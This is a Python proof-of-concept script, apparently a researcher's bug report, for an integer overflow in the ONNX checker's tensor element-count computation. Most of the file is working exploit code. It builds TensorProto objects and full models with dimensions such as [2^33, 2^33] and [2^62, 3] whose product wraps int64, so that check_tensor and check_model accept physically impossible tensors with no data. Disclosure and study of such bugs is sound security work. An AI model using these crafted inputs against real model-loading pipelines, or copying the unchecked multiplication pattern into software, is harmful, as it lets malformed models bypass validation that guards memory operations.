| |
| """ |
| Proof-of-Concept: Integer Overflow in ONNX Tensor Dimension Computation |
| |
| Bug Location: |
| 1. onnx/checker.cc, lines 129-131 |
| 2. onnx/defs/tensor_proto_util.cc, lines 52-54 (ParseData macro) |
| |
| Both locations compute total element count via: |
| int64_t nelem = 1; |
| for (auto x : tensor.dims()) { |
| nelem *= x; // No overflow check -- signed int64 overflow is UB in C++ |
| } |
| |
| By supplying dimensions whose product exceeds 2^63-1, the multiplication |
| silently overflows (undefined behavior in C++), producing a small or zero |
| value for nelem. This causes the checker to accept tensors whose declared |
| dimensions are physically impossible, bypassing validation that guards |
| downstream memory operations. |
| |
| Example: dims=[2^33, 2^33] => true product is 2^66, which wraps mod 2^64 |
| to 0 (or another small value depending on compiler behavior for signed |
| overflow). The checker then treats this as a 0-element tensor and skips |
| data-size consistency checks. |
| |
| Researcher: Ryan (ryan@fanpierlabs.com), Fan Pier Labs |
| """ |
|
|
| import sys |
|
|
| import onnx |
| from onnx import TensorProto, helper, checker |
|
|
|
|
| def demonstrate_overflow_arithmetic(): |
| """Show the overflow arithmetic that the C++ checker performs.""" |
| dim = 2**33 |
| true_product = dim * dim |
| int64_max = (1 << 63) - 1 |
| |
| wrapped = true_product & ((1 << 64) - 1) |
| if wrapped > int64_max: |
| wrapped -= (1 << 64) |
|
|
| print("=" * 70) |
| print("Integer Overflow Arithmetic Demonstration") |
| print("=" * 70) |
| print(f" dim = 2^33 = {dim}") |
| print(f" true product = 2^66 = {true_product}") |
| print(f" INT64_MAX = 2^63-1 = {int64_max}") |
| print(f" wrapped (int64)= {wrapped}") |
| print(f" Overflows? {'YES' if true_product > int64_max else 'NO'}") |
| print() |
| print("Because the C++ code uses signed int64_t multiplication without") |
| print("overflow checking, the product wraps to 0, causing the checker") |
| print("to treat this as a 0-element tensor and skip data validation.") |
| print("=" * 70) |
| print() |
|
|
|
|
| def test_direct_tensor_check(): |
| """ |
| Directly invoke onnx.checker.check_tensor() on a TensorProto with |
| overflowing dimensions. This exercises the exact code path at |
| checker.cc:129-131. |
| """ |
| print("[*] Test 1: Direct TensorProto validation (checker.cc:129-131)") |
| print("-" * 70) |
|
|
| dim = 2**33 |
|
|
| |
| |
| |
| |
| |
| tensor = TensorProto() |
| tensor.name = "overflow_tensor" |
| tensor.data_type = TensorProto.FLOAT |
| tensor.dims.extend([dim, dim]) |
| tensor.raw_data = b"" |
|
|
| print(f" Tensor dims: {list(tensor.dims)}") |
| print(f" True element count (Python): {dim * dim}") |
| print(f" raw_data length: {len(tensor.raw_data)} bytes") |
| print() |
|
|
| try: |
| checker.check_tensor(tensor) |
| print("[!] BUG CONFIRMED: check_tensor() PASSED.") |
| print(" A tensor claiming to hold 2^66 float elements with 0 bytes") |
| print(" of data was accepted because the dimension product overflowed") |
| print(" int64 to 0, making the checker think it is a 0-element tensor.") |
| return True |
| except Exception as e: |
| err_msg = str(e) |
| if "overflow" in err_msg.lower(): |
| print(f"[OK] Checker correctly detected overflow: {err_msg}") |
| return False |
| else: |
| print(f"[*] Checker raised: {err_msg}") |
| print(" NOTE: This error is NOT about the overflow itself.") |
| return True |
|
|
|
|
| def test_model_level_check(): |
| """ |
| Build a complete ONNX model with the overflowing tensor and run |
| check_model(). This demonstrates the end-to-end attack surface. |
| """ |
| print() |
| print("[*] Test 2: Full model validation (check_model)") |
| print("-" * 70) |
|
|
| dim = 2**33 |
|
|
| tensor = TensorProto() |
| tensor.name = "overflow_const" |
| tensor.data_type = TensorProto.FLOAT |
| tensor.dims.extend([dim, dim]) |
| tensor.raw_data = b"" |
|
|
| constant_node = helper.make_node( |
| "Constant", |
| inputs=[], |
| outputs=["Y"], |
| value=tensor, |
| ) |
|
|
| graph = helper.make_graph( |
| [constant_node], |
| "overflow_graph", |
| inputs=[], |
| outputs=[ |
| helper.make_tensor_value_info("Y", TensorProto.FLOAT, None), |
| ], |
| ) |
|
|
| model = helper.make_model(graph, opset_imports=[helper.make_opsetid("", 17)]) |
| model.ir_version = 8 |
|
|
| model_bytes = model.SerializeToString() |
| print(f" Model serialized: {len(model_bytes)} bytes") |
|
|
| try: |
| checker.check_model(model) |
| print("[!] BUG CONFIRMED: check_model() PASSED with overflowing dims.") |
| except Exception as e: |
| err_msg = str(e) |
| if "overflow" in err_msg.lower(): |
| print(f"[OK] Checker detected overflow: {err_msg}") |
| else: |
| print(f"[*] check_model raised: {err_msg}") |
| print(" This is a downstream error (e.g., missing shape info),") |
| print(" NOT an overflow detection. The overflow at checker.cc:129") |
| print(" was silently accepted before this point.") |
|
|
| |
| print() |
| print("[*] Verifying tensor dimensions in serialized model...") |
| model_back = onnx.load_from_string(model_bytes) |
| tensor_back = model_back.graph.node[0].attribute[0].t |
| print(f" Recovered dims: {list(tensor_back.dims)}") |
| product = 1 |
| for d in tensor_back.dims: |
| product *= d |
| print(f" True product: {product}") |
| print(f" Exceeds INT64_MAX? {product > (2**63 - 1)}") |
|
|
|
|
| def test_negative_overflow(): |
| """ |
| Test dimensions that overflow to a negative value, which could cause |
| sign-confusion in downstream size calculations. |
| """ |
| print() |
| print("[*] Test 3: Dimensions overflowing to negative nelem") |
| print("-" * 70) |
|
|
| |
| |
| |
| dims = [2**62, 3] |
| true_product = dims[0] * dims[1] |
| int64_max = (1 << 63) - 1 |
| wrapped = true_product & ((1 << 64) - 1) |
| if wrapped > int64_max: |
| wrapped -= (1 << 64) |
|
|
| print(f" dims = {dims}") |
| print(f" True product = {true_product}") |
| print(f" Wrapped (int64) = {wrapped}") |
|
|
| tensor = TensorProto() |
| tensor.name = "negative_overflow_tensor" |
| tensor.data_type = TensorProto.FLOAT |
| tensor.dims.extend(dims) |
| tensor.raw_data = b"" |
|
|
| try: |
| checker.check_tensor(tensor) |
| print(f"[!] BUG CONFIRMED: check_tensor() PASSED with nelem={wrapped}") |
| except Exception as e: |
| err_msg = str(e) |
| if "overflow" in err_msg.lower(): |
| print(f"[OK] Overflow detected: {err_msg}") |
| else: |
| print(f"[*] Raised: {err_msg}") |
| print(" (Not an overflow-specific check)") |
|
|
|
|
| def main(): |
| demonstrate_overflow_arithmetic() |
|
|
| bug_confirmed = test_direct_tensor_check() |
| test_model_level_check() |
| test_negative_overflow() |
|
|
| print() |
| print("=" * 70) |
| if bug_confirmed: |
| print("RESULT: Integer overflow in tensor dimension computation CONFIRMED.") |
| print("The ONNX checker does not validate that dimension products fit in") |
| print("int64, allowing crafted models to bypass size-consistency checks.") |
| else: |
| print("RESULT: The overflow appears to be handled in this version.") |
| print("=" * 70) |
|
|
|
|
| if __name__ == "__main__": |
| main() |
|
|